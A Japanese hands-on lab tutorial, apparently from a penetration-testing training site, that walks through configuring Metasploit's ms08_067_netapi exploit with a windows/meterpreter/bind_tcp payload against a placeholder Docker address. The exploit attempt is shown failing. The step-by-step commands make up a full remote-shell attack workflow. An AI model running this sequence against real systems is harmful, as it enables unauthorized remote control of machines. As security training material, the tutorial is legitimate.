Metasploit でバインドシェルペイロードを使用する

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、Metasploit Framework でバインドシェルペイロードを使用する基本的な手順を学びます。Metasploit は、セキュリティ専門家が脆弱性を発見、悪用、検証できる強力なペネトレーションテストツールです。

Metasploit における「ペイロード」とは、脆弱性が正常に悪用された後にターゲットシステムで実行されるコードのことです。「バインドシェル」ペイロードは、ターゲットマシンでリスニングポートを開く特定のタイプです。攻撃者はこのポートに接続してコマンドシェルを取得し、システムを制御します。これは、ターゲットマシンが攻撃者への接続を開始する「リバースシェル」とは異なります。

この実験全体を通して、Metasploit の起動、エクスプロイトの選択、必要なオプションでのバインドシェルペイロードの設定、そしてエクスプロイトの実行を試みるという、完全なワークフローを実践します。

ターゲットのエクスプロイトモジュールを選択する

このステップでは、Metasploit Framework コンソールを起動し、エクスプロイトモジュールを選択します。エクスプロイトとは、システムの特定の脆弱性を悪用するコードの一部です。この実験では、デモンストレーション目的で広く知られているエクスプロイトを使用します。

まず、ターミナルを開き、Metasploit コンソールを起動します。バナーをスキップして起動を速くするために、「quiet」モード用の -q フラグを使用します。

msfconsole -q

コンソールがロードされると、プロンプトが msf6 > に変わります。次に、エクスプロイトを選択する必要があります。ここでは、Windows Server サービスにおける脆弱性をターゲットとする ms08_067_netapi エクスプロイトを使用します。

use コマンドを使用してエクスプロイトモジュールをロードします。

use exploit/windows/smb/ms08_067_netapi

コマンドを実行すると、現在アクティブなエクスプロイトモジュールを反映するようにプロンプトが変更されます。

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

Metasploit がデフォルトで reverse_tcp ペイロードに設定されていることに注意してください。次のステップでこれを変更します。

ペイロードを windows/meterpreter/bind_tcp に設定する

このステップでは、デフォルトのペイロードをバインドシェルペイロードに変更します。はじめに述べたように、バインドペイロードはターゲットシステムでポートを開き、攻撃者が接続するのを待ちます。

ここでは windows/meterpreter/bind_tcp を使用します。このペイロードはシェルを提供するだけでなく、Meterpreter セッションも提供します。Meterpreter は、ターゲットシステムに対するより多くの制御を提供する、高度で機能豊富なペイロードです。

msfconsole プロンプト内で、set payload コマンドを使用して新しいペイロードを指定します。

set payload windows/meterpreter/bind_tcp

Metasploit は変更を確認します。

msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

これで、バインド Meterpreter ペイロードを使用するようにエクスプロイトが正常に設定されました。

エクスプロイトの RHOSTS オプションを設定する

このステップでは、エクスプロイトのターゲットを指定する必要があります。Metasploit では、ターゲットアドレスは RHOSTS (Remote Hosts) オプションを使用して設定されます。

Metasploit に、どのマシンを攻撃するかを伝える必要があります。実際のシナリオでは、偵察を通じて脆弱なマシンの IP アドレスを発見しているはずです。この実験では、プレースホルダーの IP アドレスを使用します。

set コマンドを使用して RHOSTS オプションを設定します。ここでは、Docker ブリッジネットワーク上のコンテナでよく使用される IP アドレスである 172.17.0.2 に設定します。

set RHOSTS 172.17.0.2

コンソールは RHOSTS オプションが設定されたことを確認します。

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2

これで Metasploit は、どこにエクスプロイトを送信するかを知りました。

ターゲット上のペイロードの LPORT オプションを設定する

このステップでは、バインドシェルのリスニングポートを設定します。バインドペイロードでは、LPORT (Local Port) オプションは、ペイロードがターゲットマシンで開く TCP ポートを指定します。これは重要な概念です。エクスプロイトが成功した後に接続するポートを定義しています。

この目的のために、一般的なポート 4444 を使用します。

set コマンドを使用して LPORT オプションを設定します。

set LPORT 4444

コンソールは設定を確認します。

msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444

すべてのオプションが正しく設定されていることを確認するために、show options コマンドを使用して、エクスプロイトとペイロードの両方の設定を確認できます。

show options

提供した値で RHOSTSLPORT が正しく設定されている出力テーブルが表示されるはずです。

...
Payload options (windows/meterpreter/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT  4444             yes       The listen port
   RHOST  172.17.0.2       no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
...

エクスプロイトを実行し、リスニングポートに接続する

このステップでは、すべてのオプションが設定された状態で、攻撃を開始します。exploit コマンド(またはそのエイリアスである run)は、Metasploit にエクスプロイトとペイロードをターゲットに送信するように指示します。

ここで、エクスプロイトを実行します。

exploit

重要な注意: この実験環境では、172.17.0.2 アドレスに脆弱な Windows マシンはありません。したがって、エクスプロイトは失敗します。このステップの目的は、コマンドを理解し、プロセスを観察することです。実際のペネトレーションテストでは、ターゲットが脆弱であれば、このコマンドはセッションを作成します。

Metasploit が接続を試みるのがわかりますが、最終的にはタイムアウトします。出力は次のようになります。

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.

この出力は予期されたものです。これは、Metasploit がエクスプロイトを実行したものの、ターゲットが脆弱または到達可能でなかったためセッションが確立されなかったことを確認します。バインドシェルペイロードの使用ワークフローを正常に完了しました。

Metasploit コンソールを終了するには、exit と入力します。

exit

まとめ

この実験では、Metasploit Framework 内でバインドシェルペイロードを設定し、使用するための基本的なプロセスを学びました。

コアとなるワークフローを実践しました。

  1. Metasploit コンソール (msfconsole) の起動。
  2. use コマンドによるエクスプロイトモジュールの選択。
  3. set payload による特定のペイロードの設定。
  4. ターゲット固有のオプション(ターゲットの IP である RHOSTS や、ターゲット上のリスニングポートである LPORT など)の設定。
  5. exploit コマンドによる攻撃の実行。

最も重要なのは、バインドシェルの主な特徴を理解したことです。それは、ターゲットシステム上でリスナーを開き、攻撃者がそれに接続する必要があるということです。この基礎的な知識は、ペネトレーションテストの実施や、リモートアクセスを取得するためのさまざまな方法を理解する上で非常に重要です。